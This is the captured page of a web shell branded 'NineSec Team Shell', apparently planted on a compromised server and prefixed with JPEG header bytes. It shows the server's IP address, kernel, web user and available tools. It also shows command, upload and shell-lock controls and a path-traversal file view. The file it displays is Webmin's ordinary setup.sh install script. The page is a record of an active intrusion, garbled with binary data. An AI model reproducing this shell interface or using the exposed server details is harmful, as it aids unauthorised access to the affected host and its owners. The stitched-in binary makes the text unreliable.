�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /media/../usr/share/javascript/../doc/nodejs/../python3/../python3/../ssh/../../webmin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //media/../usr/share/javascript/../doc/nodejs/../python3/../python3/../ssh/../../webmin/setup.sh
#!/bin/sh
# setup.sh
# This script should be run after the webmin archive is unpacked, in order
# to setup the various config files

# Find install directory
LANG=
export LANG
LANGUAGE=
export LANGUAGE

if [ "$bootscript" = "" ]; then
	bootscript="webmin"
fi

cd `dirname $0`
if [ -x /bin/pwd ]; then
	wadir=`/bin/pwd`
else
	wadir=`pwd`;
fi
srcdir=$wadir
ver=`cat "$wadir/version"`

# Find temp directory
if [ "$tempdir" = "" ]; then
	tempdir=/tmp/.webmin
fi

if [ $? != "0" ]; then
	echo "ERROR: Cannot find the Webmin install directory";
	echo "";
	exit 1;
fi
echo "****************************************************************************"
echo "           Welcome to the Webmin setup script, version $ver"
echo "****************************************************************************"
echo "Webmin is a web-based interface that allows Unix-like operating"
echo "systems and common Unix services to be easily administered."
echo ""

# Only root can run this
id | grep -i "uid=0(" >/dev/null
if [ $? != "0" ]; then
	uname -a | grep -i CYGWIN >/dev/null
	if [ $? != "0" ]; then
		echo "ERROR: The Webmin install script must be run as root";
		echo "";
		exit 1;
	fi
fi

# Use the supplied destination directory, if any
if [ "$1" != "" ]; then
	wadir=$1
	echo "Installing Webmin from $srcdir to $wadir"
	if [ ! -d "$wadir" ]; then
		mkdir "$wadir"
		if [ "$?" != "0" ]; then
			echo "ERROR: Failed to create $wadir"
			echo ""
			exit 1
		fi
	else
		# Make sure dest dir is not in use
		ls "$wadir" | grep -v rpmsave >/dev/null 2>&1
		if [ "$?" = "0" -a ! -r "$wadir/setup.sh" ]; then
			echo "ERROR: Installation directory $wadir contains other files"
			echo ""
			exit 1
		fi
	fi
else
	echo "Installing Webmin in $wadir"
fi
cd "$wadir"

# Work out perl library path
PERLLIB=$wadir
WEBMIN_LIBDIR=$wadir
if [ "$perllib" != "" ]; then
	PERLLIB="$PERLLIB:$perllib"
fi
export PERLLIB
export WEBMIN_LIBDIR

# Validate source directory
allmods=`cd "$srcdir"; echo */module.info | sed -e 's/\/module.info//g'`
if [ "$allmods" = "" ]; then
	echo "ERROR: Failed to get module list"
	echo ""
	exit 1
fi
echo ""

# Load package-defined variable overrides
if [ -r "$srcdir/setup-pre.sh" ]; then
	. "$srcdir/setup-pre.sh"
fi

# Work out the hostname
host=`hostname 2>/dev/null`
if [ "$host" = "" ]; then
	host=`uname -n 2>/dev/null`
fi

# Ask for webmin config directory
echo "****************************************************************************"
echo "Webmin uses separate directories for configuration files and log files."
echo "Unless you want to run multiple versions of Webmin at the same time"
echo "you can just accept the defaults."
echo ""
envetcdir="$config_dir"
if [ "$envetcdir" = "" ]; then
	envetcdir=/etc/webmin
	envetcdirnotfound=1
fi
printf "Config file directory [$envetcdir]: "
if [ "$config_dir" = "" ]; then
	read config_dir
fi
if [ "$config_dir" = "" ]; then
	config_dir=/etc/webmin
fi
abspath=`echo $config_dir | grep "^/"`
if [ "$abspath" = "" ]; then
	echo "Config directory must be an absolute path"
	echo ""
	exit 2
fi
if [ ! -d $config_dir ]; then
	mkdir -p $config_dir;
	if [ $? != 0 ]; then
		echo "ERROR: Failed to create directory $config_dir"
		echo ""
		exit 2
	fi
fi
if [ -r "$config_dir/config" -a -r "$config_dir/var-path" -a -r "$config_dir/perl-path" ]; then
	if [ "$envetcdirnotfound" = "" ]; then
		echo "$envetcdir"
		echo ".. predefined"
	else
		echo ".. found"
	fi
	upgrading=1
else
	if [ "$envetcdirnotfound" = "" ]; then
		echo "$envetcdir"
	fi
fi

# Check if upgrading from an old version
if [ "$upgrading" = 1 ]; then
	echo ""

	# Get current var path
	var_dir=`cat $config_dir/var-path`

	# Get current bootscript
	if [ -r "$config_dir/bootscript-name" ]; then
		newbootscript=`cat $config_dir/bootscript-name`
		if [ "$newbootscript" != "" ]; then
			bootscript="$newbootscript"
		fi
	fi

	# Force creation if non-existant
	mkdir -p $var_dir >/dev/null 2>&1

	# Get current perl path
	perl=`cat $config_dir/perl-path`

	# Create temp files directory
	$perl "$srcdir/maketemp.pl"
	if [ "$?" != "0" ]; then
		echo "ERROR: Failed to create or check temp files directory $tempdir"
		echo ""
		exit 2
	fi

	# Get old os name and version
	os_type=`grep "^os_type=" $config_dir/config | sed -e 's/os_type=//g'`
	os_version=`grep "^os_version=" $config_dir/config | sed -e 's/os_version=//g'`
	real_os_type=`grep "^real_os_type=" $config_dir/config | sed -e 's/real_os_type=//g'`
	real_os_version=`grep "^real_os_version=" $config_dir/config | sed -e 's/real_os_version=//g'`

	# Get old root, host, port, ssl and boot flag
	oldwadir=`grep "^root=" $config_dir/miniserv.conf | sed -e 's/root=//g'`
	port=`grep "^port=" $config_dir/miniserv.conf | sed -e 's/port=//g'`
	ssl=`grep "^ssl=" $config_dir/miniserv.conf | sed -e 's/ssl=//g'`
	atboot=`grep "^atboot=" $config_dir/miniserv.conf | sed -e 's/atboot=//g'`
	inetd=`grep "^inetd=" $config_dir/miniserv.conf | sed -e 's/inetd=//g'`

	# Copy files to target directory
	if [ "$wadir" != "$srcdir" ]; then
		echo "Copying files to $wadir .."
		(cd "$srcdir" ; tar cf - . | (cd "$wadir" ; tar xf -))
		echo ".. done"
		echo ""
	fi

	# Update ACLs
	$perl "$wadir/newmods.pl" $config_dir $allmods

	# Update miniserv.conf with new root directory and mime types file
	grep -v "^root=" $config_dir/miniserv.conf | grep -v "^mimetypes=" | grep -v "^server=" >$tempdir/$$.miniserv.conf
	if [ $? != "0" ]; then exit 1; fi
	mv $tempdir/$$.miniserv.conf $config_dir/miniserv.conf
	echo "root=$wadir" >> $config_dir/miniserv.conf
	echo "mimetypes=$wadir/mime.types" >> $config_dir/miniserv.conf
	echo "server=MiniServ/$ver" >> $config_dir/miniserv.conf
	grep logout= $config_dir/miniserv.conf >/dev/null
	if [ $? != "0" ]; then
		echo "logout=$config_dir/logout-flag" >> $config_dir/miniserv.conf
	fi
	
	# Check for third-party modules in old version
	if [ "$wadir" != "$oldwadir" ]; then
		echo "Checking for third-party modules .."
		if [ "$webmin_upgrade" != "" ]; then
			autothird=1
		fi
		$perl "$wadir/thirdparty.pl" "$wadir" "$oldwadir" $autothird
		echo ".. done"
		echo ""
	fi

	# Remove old cache of module infos
	rm -f $config_dir/module.infos.cache
else
	# Config directory exists .. make sure it is not in use
	ls $config_dir | grep -v rpmsave >/dev/null 2>&1
	if [ "$?" = "0" -a "$config_dir" != "/etc/webmin" ]; then
		echo "ERROR: Config directory $config_dir is not empty"
		echo ""
		exit 2
	fi

	# Ask for log directory
	envvardir="$var_dir"
	if [ "$envvardir" = "" ]; then
		envvardir=/var/webmin
		envvardirnotfound=1
	fi
	printf "Log file directory [$envvardir]: "
	if [ "$var_dir" = "" ]; then
		read var_dir
	fi
	if [ "$var_dir" = "" ]; then
		var_dir=/var/webmin
	fi
	abspath=`echo $var_dir | grep "^/"`
	if [ "$abspath" = "" ]; then
		echo "Log file directory must be an absolute path"
		echo ""
		exit 3
	fi
	if [ "$var_dir" = "/" ]; then
		echo "Log directory cannot be /"
		echo ""
		exit 3
	fi
	if [ ! -d $var_dir ]; then
		mkdir -p $var_dir
		if [ $? != 0 ]; then
			echo "ERROR: Failed to create directory $var_dir"
			echo ""
			exit 3
		fi
	fi
	if [ "$upgrading" != 1 -a "$envetcdirnotfound" = "" ]; then
		echo "$envvardir"
	fi
	echo ""

	# Ask where perl is installed
	echo "****************************************************************************"
	echo "Webmin is written entirely in Perl. Please enter the full path to the"
	echo "Perl 5 interpreter on your system."
	echo ""
	if [ -x /usr/bin/perl ]; then
		perldef=/usr/bin/perl
	elif [ -x /usr/local/bin/perl ]; then
		perldef=/usr/local/bin/perl
	else
		perldef=""
	fi
	if [ "$perl" = "" ]; then
		if [ "$perldef" = "" ]; then
			printf "Full path to perl: "
			read perl
			if [ "$perl" = "" ]; then
				echo "ERROR: No path entered!"
				echo ""
				exit 4
			fi
		else
			printf "Full path to perl (default $perldef): "
			read perl
			if [ "$perl" = "" ]; then
				perl=$perldef
			fi
		fi
	fi
	echo ""

	# Test perl 
	echo "Testing Perl .."
	if [ ! -x $perl ]; then
		echo "ERROR: Failed to find perl at $perl"
		echo ""
		exit 5
	fi
	$perl -e 'print "foobar\n"' 2>/dev/null | grep foobar >/dev/null
	if [ $? != "0" ]; then
		echo "ERROR: Failed to run test perl script. Maybe $perl is"
		echo "not the perl interpreter, or is not installed properly"
		echo ""
		exit 6
	fi
	$perl -e 'exit ($] < 5.008 ? 1 : 0)'
	if [ $? = "1" ]; then
		echo "ERROR: Detected old perl version. Webmin requires"
		echo "perl 5.8 or better to run"
		echo ""
		exit 7
	fi
	$perl -e 'use Socket; print "foobar\n"' 2>/dev/null | grep foobar >/dev/null
	if [ $? != "0" ]; then
		echo "ERROR: Perl Socket module not installed. Maybe Perl has"
		echo "not been properly installed on your system"
		echo ""
		exit 8
	fi
	$perl -e '$c = crypt("xx", "yy"); exit($c ? 0 : 1)'
	if [ $? != "0" ]; then
		$perl -e 'use Crypt::UnixCrypt' >/dev/null 2>&1
	fi
	if [ $? != "0" ]; then
		echo "ERROR: Perl crypt function does not work, and the"
		echo "Crypt::UnixCrypt module is not installed."
		echo ""
		exit 8
	fi
	echo ".. done"
	echo ""

	# Create temp files directory
	$perl "$srcdir/maketemp.pl"
	if [ "$?" != "0" ]; then
		echo "ERROR: Failed to create or check temp files directory $tempdir"
		echo ""
		exit 2
	fi

	# Ask for operating system type
	echo "****************************************************************************"
	if [ "$os_type" = "" ]; then
		if [ "$autoos" = "" ]; then
			autoos=2
		fi
		$perl "$srcdir/oschooser.pl" "$srcdir/os_list.txt" "$tempdir/$$.os" $autoos
		if [ $? != 0 ]; then
			exit $?
		fi
		. $tempdir/$$.os
		rm -f $tempdir/$$.os
	fi
	echo "Operating system name:    $real_os_type"
	echo "Operating system version: $real_os_version"
	echo ""

	# Ask for web server port, name and password
	echo "****************************************************************************"
	echo "Webmin uses its own password protected web server to provide access"
	echo "to the administration programs. The setup script needs to know :"
	echo " - What port to run the web server on. There must not be another"
	echo "   web server already using this port."
	echo " - The login name required to access the web server."
	echo " - The password required to access the web server."
	echo " - If the web server should use SSL (if your system supports it)."
	echo " - Whether to start webmin at boot time."
	echo ""
	printf "Web server port (default 10000): "
	if [ "$port" = "" ]; then
		read port
		if [ "$port" = "" ]; then
			port=10000
		fi
	fi
	if [ $port -lt 1 ]; then
		echo "ERROR: $port is not a valid port number"
		echo ""
		exit 11
	fi
	if [ $port -gt 65535 ]; then
		echo "ERROR: $port is not a valid port number. Port numbers cannot be"
		echo "       greater than 65535"
		echo ""
		exit 12
	fi
	if [ "$noportcheck" = "" ]; then
		$perl -e 'use Socket; socket(FOO, PF_INET, SOCK_STREAM, getprotobyname("tcp")); setsockopt(FOO, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)); bind(FOO, pack_sockaddr_in($ARGV[0], INADDR_ANY)) || exit(1); exit(0);' $port
		if [ $? != "0" ]; then
			echo "ERROR: TCP port $port is already in use by another program"
			echo ""
			exit 13
		fi
	fi
	printf "Login name (default admin): "
	if [ "$login" = "" ]; then
		read login
		if [ "$login" = "" ]; then
			login="admin"
		fi
	fi
	echo "$login" | grep : >/dev/null
	if [ "$?" = "0" ]; then
		echo "ERROR: Username contains a : character"
		echo ""
		exit 14
	fi
	echo $login | grep " " >/dev/null
	if [ "$?" = "0" ]; then
		echo "ERROR: Username contains a space"
		echo ""
		exit 14
	fi
	if [ "$login" = "webmin" ]; then
		echo "ERROR: Username 'webmin' is reserved for internal use"
		echo ""
		exit 14
	fi
	printf "Login password: "
	if [ "$password" = "" -a "$crypt" = "" ]; then
		stty -echo
		read password
		stty echo
		printf "\n"
		printf "Password again: "
		stty -echo
		read password2
		stty echo
		printf "\n"
		if [ "$password" != "$password2" ]; then
			echo "ERROR: Passwords don't match"
			echo ""
			exit 14
		fi
		echo $password | grep : >/dev/null
		if [ "$?" = "0" ]; then
			echo "ERROR: Password contains a : character"
			echo ""
			exit 14
		fi
	fi

	# Ask the user if SSL should be used
	if [ "$ssl" = "" ]; then
		ssl=0
		$perl -e 'use Net::SSLeay' >/dev/null 2>/dev/null
		if [ $? = "0" ]; then
			printf "Use SSL (y/n): "
			read sslyn
			if [ "$sslyn" = "y" -o "$sslyn" = "Y" ]; then
				ssl=1
			fi
		else
			echo "The Perl SSLeay library is not installed. SSL not available."
			rm -f core
		fi
	fi

	# Don't use SSL if missing Net::SSLeay
	if [ "$ssl" = "1" ]; then
		$perl -e 'use Net::SSLeay' >/dev/null 2>/dev/null
		if [ $? != "0" ]; then
			ssl=0
		fi
	fi

	# Ask whether to run at boot time
	if [ "$atboot" = "" ]; then
		if echo "$os_type" | grep  -q "\-linux$"; then
		    grep_os_type="linux"
		else
		    grep_os_type="$os_type"
		fi
		initsupp=`grep "^os_support=" "$srcdir/init/module.info" | sed -e 's/os_support=//g' | grep $grep_os_type`
		atboot=0
		if [ "$initsupp" != "" ]; then
			printf "Start Webmin at boot time (y/n): "
			read atbootyn
			if [ "$atbootyn" = "y" -o "$atbootyn" = "Y" ]; then
				atboot=1
				makeboot=1
			fi
		else
			echo "Webmin does not support being started at boot time on your system."
		fi
	fi

	# Copy files to target directory
	echo ""
	echo "****************************************************************************"
	if [ "$wadir" != "$srcdir" ]; then
		echo "Copying files to $wadir .."
		(cd "$srcdir" ; tar cf - . | (cd "$wadir" ; tar xf -))
		echo ".. done"
		echo ""
	fi

	# Create webserver config file
	echo $perl > $config_dir/perl-path
	echo $var_dir > $config_dir/var-path
	echo $bootscript > $config_dir/bootscript-name
	echo "Creating web server config files .."
	cfile=$config_dir/miniserv.conf
	echo "port=$port" >> $cfile
	echo "root=$wadir" >> $cfile
	echo "mimetypes=$wadir/mime.types" >> $cfile
	echo "addtype_cgi=internal/cgi" >> $cfile
	echo "realm=Webmin Server" >> $cfile
	echo "logfile=$var_dir/miniserv.log" >> $cfile
	echo "errorlog=$var_dir/miniserv.error" >> $cfile
	echo "pidfile=$var_dir/miniserv.pid" >> $cfile
	echo "logtime=168" >> $cfile
	echo "ssl=$ssl" >> $cfile
	echo "no_ssl2=1" >> $cfile
	echo "no_ssl3=1" >> $cfile
	openssl version 2>&1 | grep "OpenSSL 1" >/dev/null
	if [ "$?" = "0" ]; then
		echo "no_tls1=1" >> $cfile
		echo "no_tls1_1=1" >> $cfile
	fi
	echo "ssl_honorcipherorder=1" >> $cfile
	echo "no_sslcompression=1" >> $cfile
	echo "env_WEBMIN_CONFIG=$config_dir" >> $cfile
	echo "env_WEBMIN_VAR=$var_dir" >> $cfile
	echo "atboot=$atboot" >> $cfile
	echo "logout=$config_dir/logout-flag" >> $cfile
	if [ "$listen" != "" ]; then
		echo "listen=$listen" >> $cfile
	else
		echo "listen=10000" >> $cfile
	fi
	echo "denyfile=\\.pl\$" >> $cfile
	echo "log=1" >> $cfile
	echo "blockhost_failures=5" >> $cfile
	echo "blockhost_time=60" >> $cfile
	echo "syslog=1" >> $cfile
	echo "ipv6=1" >> $cfile
	if [ "$allow" != "" ]; then
		echo "allow=$allow" >> $cfile
	fi
	if [ "$session" != "" ]; then
		echo "session=$session" >> $cfile
	else
		echo "session=1" >> $cfile
	fi
	if [ "$pam" != "" ]; then
		echo "pam=$pam" >> $cfile
	fi
	echo premodules=WebminCore >> $cfile
	echo "server=MiniServ/$ver" >> $cfile

	# Append package-specific info to config file
	if [ -r "$wadir/miniserv-conf" ]; then
		cat "$wadir/miniserv-conf" >>$cfile
	fi

	# Test available hashing formats
	yescryptpass=`$perl -e 'print crypt("test", "\\$y\\$j9T\\$waHytoaqP/CEnKFroGn0S/\\$fxd5mVc2mBPUc3vv.cpqDckpwrWTyIm2iD4JfnVBi26") eq "\\$y\\$j9T\\$waHytoaqP/CEnKFroGn0S/\\$fxd5mVc2mBPUc3vv.cpqDckpwrWTyIm2iD4JfnVBi26" ? "1\n" : "0\n"'`
	sha512pass=`$perl -e 'print crypt("test", "\\$6\\$Tk5o/GEE\\$zjvXhYf/dr5M7/jan3pgunkNrAsKmQO9r5O8sr/Cr1hFOLkWmsH4iE9hhqdmHwXd5Pzm4ubBWTEjtMeC.h5qv1") eq "\\$6\\$Tk5o/GEE\\$zjvXhYf/dr5M7/jan3pgunkNrAsKmQO9r5O8sr/Cr1hFOLkWmsH4iE9hhqdmHwXd5Pzm4ubBWTEjtMeC.h5qv1" ? "1\n" : "0\n"'`
	md5pass=`$perl -e 'print crypt("test", "\\$1\\$A9wB3O18\\$zaZgqrEmb9VNltWTL454R/") eq "\\$1\\$A9wB3O18\\$zaZgqrEmb9VNltWTL454R/" ? "1\n" : "0\n"'`

	salt8=`tr -dc A-Za-z0-9 </dev/urandom | head -c 8 ; echo ''`
	salt2=`tr -dc A-Za-z0-9 </dev/urandom | head -c 2 ; echo ''`

	ufile=$config_dir/miniserv.users
	if [ "$crypt" != "" ]; then
		echo "$login:$crypt:0" > $ufile
	else
		if [ "$yescryptpass" = "1" ]; then
			$perl -e 'print "$ARGV[0]:",crypt($ARGV[1], "\$y\$j9T\$$ARGV[2]"),":0\n"' "$login" "$password" "$salt8" > $ufile
		elif [ "$sha512pass" = "1" ]; then
			$perl -e 'print "$ARGV[0]:",crypt($ARGV[1], "\$6\$$ARGV[2]"),":0\n"' "$login" "$password" "$salt8" > $ufile
		elif [ "$md5pass" = "1" ]; then
			$perl -e 'print "$ARGV[0]:",crypt($ARGV[1], "\$1\$$ARGV[2]"),":0\n"' "$login" "$password" "$salt8" > $ufile
		else
			$perl -e 'print "$ARGV[0]:",crypt($ARGV[1], $ARGV[2]),":0\n"' "$login" "$password" "$salt2" > $ufile
		fi
	fi
	chmod 600 $ufile
	echo "userfile=$ufile" >> $cfile

	kfile=$config_dir/miniserv.pem
	openssl version >/dev/null 2>&1
	if [ "$?" = "0" ]; then
		# OpenSSL support `-addext` flag?
		addtextsup="-addext subjectAltName=DNS:$host,DNS:localhost -addext extendedKeyUsage=serverAuth"
		openssl version 2>&1 | grep "OpenSSL 1.0" >/dev/null
		if [ "$?" = "0" ]; then
			addtextsup=""
		fi
		# We can generate a new SSL key for this host
		openssl req -newkey rsa:2048 -x509 -nodes -out $tempdir/cert -keyout $tempdir/key -days 1825 -sha256 -subj "/CN=$host/C=US/L=Santa Clara" $addtextsup >/dev/null 2>&1 <<EOF
.
.
.
Webmin web server on $host
.
*
root@$host
EOF
		if [ "$?" = "0" ]; then
			cat $tempdir/cert $tempdir/key >$kfile
		fi
		rm -f $tempdir/cert $tempdir/key
	fi
	if [ ! -r $kfile ]; then
		# Fall back to the built-in key
		cp "$wadir/miniserv.pem" $kfile
	fi
	chmod 600 $kfile
	echo "keyfile=$config_dir/miniserv.pem" >> $cfile

	chmod 600 $cfile
	echo ".. done"
	echo ""

	echo "Creating access control file .."
	afile=$config_dir/webmin.acl
	rm -f $afile
	if [ "$defaultmods" = "" ]; then
		echo "$login: $allmods" >> $afile
	else
		echo "$login: $defaultmods" >> $afile
	fi
	chmod 600 $afile
	echo ".. done"
	echo ""

	if [ "$login" != "root" -a "$login" != "admin" ]; then
		# Allow use of RPC by this user
		echo rpc=1 >>$config_dir/$login.acl
	fi
fi

if [ "$noperlpath" = "" ]; then
	echo "Inserting path to perl into scripts .."
	(find "$wadir" -name '*.cgi' -print ; find "$wadir" -name '*.pl' -print) | $perl "$wadir/perlpath.pl" $perl -
	echo ".. done"
	echo ""
fi

killmodenonesh=0
if [ ! -f "$config_dir/.pre-install" ]; then
	killmodenonesh=1
fi

# Test if we have systemd system
systemctlcmd=$(which systemctl 2>/dev/null)
if [ -x "$systemctlcmd" ]; then
    initsys=$(cat /proc/1/comm 2>/dev/null)
    if [ "$initsys" != "systemd" ]; then
        systemctlcmd=""
    fi
fi

# Re-generating main scripts
echo "Creating start and stop scripts .."
# Start main
echo "#!/bin/sh" >$config_dir/.start-init
echo "echo Starting Webmin server in $wadir" >>$config_dir/.start-init
echo "trap '' 1" >>$config_dir/.start-init
echo "LANG=" >>$config_dir/.start-init
echo "export LANG" >>$config_dir/.start-init
echo "unset PERLIO" >>$config_dir/.start-init
echo "export PERLIO" >>$config_dir/.start-init
echo "PERLLIB=$PERLLIB" >>$config_dir/.start-init
echo "export PERLLIB" >>$config_dir/.start-init
uname -a | grep -i 'HP/*UX' >/dev/null
if [ $? = "0" ]; then
	echo "exec '$wadir/miniserv.pl' \$* $config_dir/miniserv.conf &" >>$config_dir/.start-init
else
	echo "exec '$wadir/miniserv.pl' \$* $config_dir/miniserv.conf" >>$config_dir/.start-init
fi
# Stop main
echo "#!/bin/sh" >$config_dir/.stop-init
echo "if [ \"\$1\" = \"--kill\" ]; then" >>$config_dir/.stop-init
echo "  echo Force stopping Webmin server in $wadir" >>$config_dir/.stop-init
echo "else" >>$config_dir/.stop-init
echo "  echo Stopping Webmin server in $wadir" >>$config_dir/.stop-init
echo "fi" >>$config_dir/.stop-init
echo "pidfile=\`grep \"^pidfile=\" $config_dir/miniserv.conf | sed -e 's/pidfile=//g'\`" >>$config_dir/.stop-init
echo "pid=\`cat \$pidfile 2>/dev/null\`" >>$config_dir/.stop-init
echo "if [ \"\$pid\" != \"\" ]; then" >>$config_dir/.stop-init
echo "  kill \$pid || exit 1" >>$config_dir/.stop-init
echo "  touch $var_dir/stop-flag" >>$config_dir/.stop-init
echo "  if [ \"\$1\" = \"--kill\" ]; then" >>$config_dir/.stop-init
echo "    sleep 1" >>$config_dir/.stop-init
echo "    (ps axf | grep \"$wadir\/miniserv\.pl\" | awk '{print \"kill -9 -- -\" \$1}' | bash ; kill -9 -- -\$pid ; kill -9 \$pid) 2>/dev/null" >>$config_dir/.stop-init
echo "  fi" >>$config_dir/.stop-init
echo "  exit 0" >>$config_dir/.stop-init
echo "else" >>$config_dir/.stop-init
echo "  if [ \"\$1\" = \"--kill\" ]; then" >>$config_dir/.stop-init
echo "    (ps axf | grep \"$wadir\/miniserv\.pl\" | awk '{print \"kill -9 -- -\" \$1}' | bash ; kill -9 -- -\$pid ; kill -9 \$pid) 2>/dev/null" >>$config_dir/.stop-init
echo "  fi" >>$config_dir/.stop-init
echo "fi" >>$config_dir/.stop-init
# Restart main
echo "#!/bin/sh" >$config_dir/.restart-init
echo "$config_dir/.stop-init" >>$config_dir/.restart-init
echo "$config_dir/.start-init" >>$config_dir/.restart-init
# Force reload main
echo "#!/bin/sh" >$config_dir/.restart-by-force-kill-init
echo "$config_dir/.stop-init --kill" >>$config_dir/.restart-by-force-kill-init
echo "$config_dir/.start-init" >>$config_dir/.restart-by-force-kill-init
# Reload main
echo "#!/bin/sh" >$config_dir/.reload-init
echo "echo Reloading Webmin server in $wadir" >>$config_dir/.reload-init
echo "pidfile=\`grep \"^pidfile=\" $config_dir/miniserv.conf | sed -e 's/pidfile=//g'\`" >>$config_dir/.reload-init
echo "kill -USR1 \`cat \$pidfile\`" >>$config_dir/.reload-init
# Switch to systemd from init (intermediate)
if [ "$killmodenonesh" = "1" ] && [ -x "$systemctlcmd" ]; then
	current_version=`cat "$config_dir/version" 2>/dev/null`
	ancient_version=`echo $current_version 1.994 | awk '{if ($1 < $2) print 1; else print 0}'`
	if [ "$ancient_version" = "1" ]; then
		echo "#!/bin/sh" >$config_dir/.reload-init-systemd
		echo "$config_dir/.stop-init" >>$config_dir/.reload-init-systemd
		echo "$config_dir/start" >>$config_dir/.reload-init-systemd
		chmod 755 $config_dir/.reload-init-systemd
	fi
fi
# Pre install
echo "#!/bin/sh" >$config_dir/.pre-install
echo "$config_dir/.stop-init" >>$config_dir/.pre-install
# Post install
echo "#!/bin/sh" >$config_dir/.post-install
echo "$config_dir/.start-init" >>$config_dir/.post-install

chmod 755 $config_dir/.stop-init $config_dir/.start-init $config_dir/.restart-init $config_dir/.restart-by-force-kill-init $config_dir/.reload-init $config_dir/.pre-install $config_dir/.post-install
echo ".. done"
echo ""

# Re-generating supplementary

# Clear existing
rm -f $config_dir/stop $config_dir/start $config_dir/restart $config_dir/restart-by-force-kill $config_dir/reload

# Start init.d
ln -s $config_dir/.start-init $config_dir/start >/dev/null 2>&1
# Stop init.d
ln -s $config_dir/.stop-init $config_dir/stop >/dev/null 2>&1
# Restart init.d
ln -s $config_dir/.restart-init $config_dir/restart >/dev/null 2>&1
# Force reload init.d
ln -s $config_dir/.restart-by-force-kill-init $config_dir/restart-by-force-kill >/dev/null 2>&1
# Reload init.d
ln -s $config_dir/.reload-init $config_dir/reload >/dev/null 2>&1

# For systemd create different start/stop scripts
if [ -x "$systemctlcmd" ]; then
	rm -f $config_dir/stop $config_dir/start $config_dir/restart $config_dir/restart-by-force-kill $config_dir/reload
	# Start systemd
	echo "#!/bin/sh" >$config_dir/start
	echo "$systemctlcmd start $bootscript" >>$config_dir/start
	# Stop systemd
	echo "#!/bin/sh" >$config_dir/stop
	echo "$systemctlcmd stop $bootscript" >>$config_dir/stop
	# Restart systemd
	echo "#!/bin/sh" >$config_dir/restart
	echo "$systemctlcmd restart $bootscript" >>$config_dir/restart
	# Force reload systemd
	echo "#!/bin/sh" >$config_dir/restart-by-force-kill
	echo "$systemctlcmd stop $bootscript" >>$config_dir/restart-by-force-kill
	echo "$config_dir/.stop-init --kill >/dev/null 2>&1" >>$config_dir/restart-by-force-kill
	echo "$systemctlcmd start $bootscript" >>$config_dir/restart-by-force-kill
	# Reload systemd
	echo "#!/bin/sh" >$config_dir/reload
	echo "$systemctlcmd reload $bootscript" >>$config_dir/reload
	# Pre-install on systemd
	echo "#!/bin/sh" >$config_dir/.pre-install
	# echo "$systemctlcmd kill --signal=SIGSTOP --kill-who=main $bootscript" >>$config_dir/.pre-install
	# Post-install on systemd
	echo "#!/bin/sh" >$config_dir/.post-install
	# echo "$systemctlcmd kill --signal=SIGCONT --kill-who=main $bootscript" >>$config_dir/.post-install
	echo "$systemctlcmd kill --signal=SIGHUP --kill-who=main $bootscript" >>$config_dir/.post-install
	
	chmod 755 $config_dir/stop $config_dir/start $config_dir/restart $config_dir/restart-by-force-kill $config_dir/reload $config_dir/.pre-install $config_dir/.post-install
fi

# Fix existing systemd webmin.service file to update start and stop commands
(cd "$wadir/init" ; WEBMIN_CONFIG=$config_dir WEBMIN_VAR=$var_dir "$wadir/init/updateboot.pl" "$bootscript")

if [ "$upgrading" = 1 -a "$inetd" != "1" -a "$nostop" = "" ]; then
	# Stop old version, with updated stop script
	$config_dir/.pre-install >/dev/null 2>&1
fi

if [ "$upgrading" = 1 ]; then
	echo "Updating config files .."
else
	echo "Copying config files .."
fi
newmods=`$perl "$wadir/copyconfig.pl" "$os_type/$real_os_type" "$os_version/$real_os_version" "$wadir" $config_dir "" $allmods`
if [ "$upgrading" != 1 ]; then
	# Store the OS and version
	echo "os_type=$os_type" >> $config_dir/config
	echo "os_version=$os_version" >> $config_dir/config
	echo "real_os_type=$real_os_type" >> $config_dir/config
	echo "real_os_version=$real_os_version" >> $config_dir/config
	echo "lang=en" >> $config_dir/config

	# Turn on logging by default
	echo "log=1" >> $config_dir/config

	# Use licence module specified by environment variable
	if [ "$licence_module" != "" ]; then
		echo licence_module=$licence_module >>$config_dir/config
	fi

	# Disallow unknown referers by default
	echo "referers_none=1" >>$config_dir/config
else
	# one-off hack to set log variable in config from miniserv.conf
	grep log= $config_dir/config >/dev/null
	if [ "$?" = "1" ]; then
		grep log= $config_dir/miniserv.conf >> $config_dir/config
		grep logtime= $config_dir/miniserv.conf >> $config_dir/config
		grep logclear= $config_dir/miniserv.conf >> $config_dir/config
	fi

	# Disallow unknown referers if not set
	grep referers_none= $config_dir/config >/dev/null
	if [ "$?" != "0" ]; then
		echo "referers_none=1" >>$config_dir/config
	fi
fi
echo $ver > $config_dir/version
echo ".. done"
echo ""

# Set passwd_ fields in miniserv.conf from global config
for field in passwd_file passwd_uindex passwd_pindex passwd_cindex passwd_mindex; do
	grep $field= $config_dir/miniserv.conf >/dev/null
	if [ "$?" != "0" ]; then
		grep $field= $config_dir/config >> $config_dir/miniserv.conf
	fi
done
grep passwd_mode= $config_dir/miniserv.conf >/dev/null
if [ "$?" != "0" ]; then
	echo passwd_mode=0 >> $config_dir/miniserv.conf
fi

# Use system defaults for password hashing
echo md5pass=0 >> $config_dir/config

# Set a special theme if none was set before
if [ "$theme" = "" ]; then
	theme=`cat "$wadir/defaulttheme" 2>/dev/null`
	# If no default theme found fall back to Framed Theme
	if [ ! -d "$wadir/$theme" ]; then
		theme="gray-theme"
	fi
fi
oldthemeline=`grep "^theme=" $config_dir/config`
